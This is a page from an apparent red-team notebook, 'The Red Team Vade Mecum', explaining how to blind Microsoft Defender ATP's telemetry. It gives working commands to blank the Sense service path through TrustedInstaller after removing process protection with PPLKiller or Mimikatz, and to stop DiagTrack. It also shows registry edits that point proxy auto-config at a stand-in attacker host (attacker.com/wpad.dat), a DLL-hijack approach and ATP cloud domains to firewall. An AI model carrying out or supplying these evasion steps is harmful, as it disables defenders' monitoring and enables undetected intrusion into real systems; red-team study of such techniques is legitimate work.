The Red Team Vade Mecum
  • The Red Team Vade Mecum
  • Techniques
    • Defense Evasion
      • Binary Properties and Code Signing
      • ATA/ATP
        • Important Note
        • Intro
        • Lateral Movement
        • Domain Dominance
        • Identification
        • Recon
        • Blocking/Disabling Telemetry
          • Trusted Installer
      • Tips and Tricks
      • Basics
        • IOCs
          • High Level Overview of EDR technologies
        • Sandbox Evasion
        • Obfuscating Imports
          • Bootstrapping
        • Encrypting Strings
      • Disabling/Patching Telemetry
        • ETW Bypasses
        • AMSI Bypasses
      • Minimization
        • Commands to Avoid
        • Pivoting
        • Benefits of Using APIs
        • Thread-less Payload Execution
        • DLL Hollowing
      • Misdirection
        • Command Line Argument Spoofing
        • PPID Spoofing via CreateProcess
        • Switching Parents
          • Dechaining via WMI
      • Hiding our Payloads
        • Event Logs
        • File metadata
        • Registry Keys
        • ADS
      • IPC For Evasion and Control
    • Privilege Escalation
      • Hunting For Passwords
      • To System
        • New Service
        • Named Pipe Impersonation
        • Local Exploits
        • AlwaysInstallElevated
      • Hijacking Execution
        • Environment Variable interception
        • DLL Hijacking
      • Insecure Permissions
        • Missing Services and Tasks
        • Misconfigured Registry Hives
        • Insecure Binary Path
        • Unquoted Service Paths
    • Enumeration
      • Situational Awareness
      • Recon Commands
        • .NET AD Enum commands
        • WMIC commands
          • WMI queries from c++
    • Execution
      • Cool ways of Calling a Process
      • One Liners
    • Initial Access
      • Tips and Tricks
      • Tools
      • Staging/Stagers
      • MS Office
        • Macros
          • Evasion
            • VBA Stomping
            • Revert To Legacy Warning in Excel
            • Sandbox Evasion
          • Info Extraction
          • Inline Shapes
          • .MAM Files
          • PowerPoint
          • ACCDE
          • Shellcode Execution
          • Info Extraction
          • Dechaining Macros
        • Field Abuse
        • DDE
      • Payload Delivery
      • File Formats
        • MSG
        • RTF
        • REG
        • BAT
        • MSI Files
        • IQY
        • CHM
        • LNK
          • Using LNK to Automatically Download Payloads
        • HTA
    • Lateral Movement
      • Linux
        • SSH Hijacking
        • RDP
        • Impacket
      • No Admin?
      • Checking for access
      • Poison Handler
      • WinRM
      • AT
      • PsExec
      • WMI
      • Service Control
      • DCOM
      • RDP
      • SCShell
    • Code Injection
      • Hooking
        • Detours
      • CreateRemoteThread
      • DLL Injection
      • APC Queue Code Injection
      • Early Bird Injection
    • Persistence
      • Scheduled Tasks
        • AT
      • MS Office
      • SQL
      • Admin Level
        • SSP
        • Services
        • Default File Extension
        • AppCert DLLs
        • Time Provider
        • Waitfor
        • WinLogon
        • Netsh Dlls
        • RDP Backdoors
        • AppInit Dlls
        • Port Monitor
        • WMI Event Subscriptions
      • User Level
        • LNK
        • Startup Folder
        • Junction folders
        • Registry Keys
        • Logon Scripts
        • Powershell Profiles
        • Screen Savers
  • Infrastructure
    • SQL
      • MS SQL
        • Basics
        • Finding Sql Servers
        • Privilege Escalation
        • Post Exploitation
  • Other
    • Vulnerability Discovery
      • Web Vulnerabilities
        • Code Grepping
          • PHP Cheatsheet
    • Windows Internals
      • Unorganized Notes
Powered by GitBook
On this page
  • Stopping Diagtrack
  • Proxy Settings
  • DLL Hijacking
  • Firewall Rules

Was this helpful?

  1. Techniques
  2. Defense Evasion
  3. ATA/ATP

Blocking/Disabling Telemetry

PreviousReconNextTrusted Installer

Last updated 3 years ago

Was this helpful?

This demonstrates some ways to stop and disable ATP to get rid of telemetry.(This techniques could also all apply to other security products)

Note that even if we are system, we cannot stop the ATP process. You need a special offboarding script with a SHA356 signed key. This script is only valid for 10 days before expiration.

ATP processes also has PPL enabled, meaning that we cannot stop or inject into this process to cripple it. Note that we can use the PPLKiller or Mimikatz driver to disable the PPL protection of a process, and then proceed to stop/kill it.

If we remove the PPL protection and the MsSense service restarts, it will alert on PPL tampering, but we can again bypass this by just changing the binpath of the MsSense service after we kill it:

sc config TrustedInstaller binPath="cmd.exe /C sc config sense binPath='blank'" && sc start TrustedInstaller

Stopping Diagtrack

The ATP sensor uses the DiagTrack service to communicate to the cloud. If we query the service, we can see that it is configured as "STOPPABLE" and does not have any PPL protections:

To stop this service(as admin):

sc stop diagtrack

Proxy Settings

As we already know, ATP uses the DiagTrack service to communicate to the cloud. Diagtrack uses the WinHTTP API to communicate to the cloud, in which we as regular users can supply proxy settings that say "If any WinHTTP API traffic is going to these ATP cloud domains, stop and hold the traffic." This essentially blocks and stops any traffic going to the cloud thus crippling the ATP service.

These two registry keys turn off auto detect for the proxy settings, and then supply our proxy settings configuration file which will synchold any traffic going to the ATP cloud:

reg add  "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ^ /v AutoDetect /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL /t REG_SZ /d "http://attacker.com/wpad.dat" /f

Our proxy config file can look something like this:

DLL Hijacking

CNCproxy(which is the main communication module of ATP) is vulnerable to a DLL hijacking vulnerability, in which it first checks the winhttp services dll in it's own folder before loading it from system32. The winhttp services dll is in charge of communication with HTTP servers and the internet.

If we supply a bogus dll in its current directory, the communication flow with the cloud will be crippled as it is missing the major functionality to do so.

Firewall Rules

We can also set simple firewall rules to block any traffic to any ATP cloud domains. This is pretty self explanatory on why this works.

These domains include:

Securitycenter.windows.com, winatp-gw-cus.microsoft.com, winatp-gw-eus.microsoft.com, winatp-gw-weu.microsoft.com, winatp-gw-neu.microsoft.com, us.vortex-win.data.microsoft.com,eu.vortex-win.data.microsoft.com,psapp.microsoft.com,psappeu.microsoft.com

(and much more!)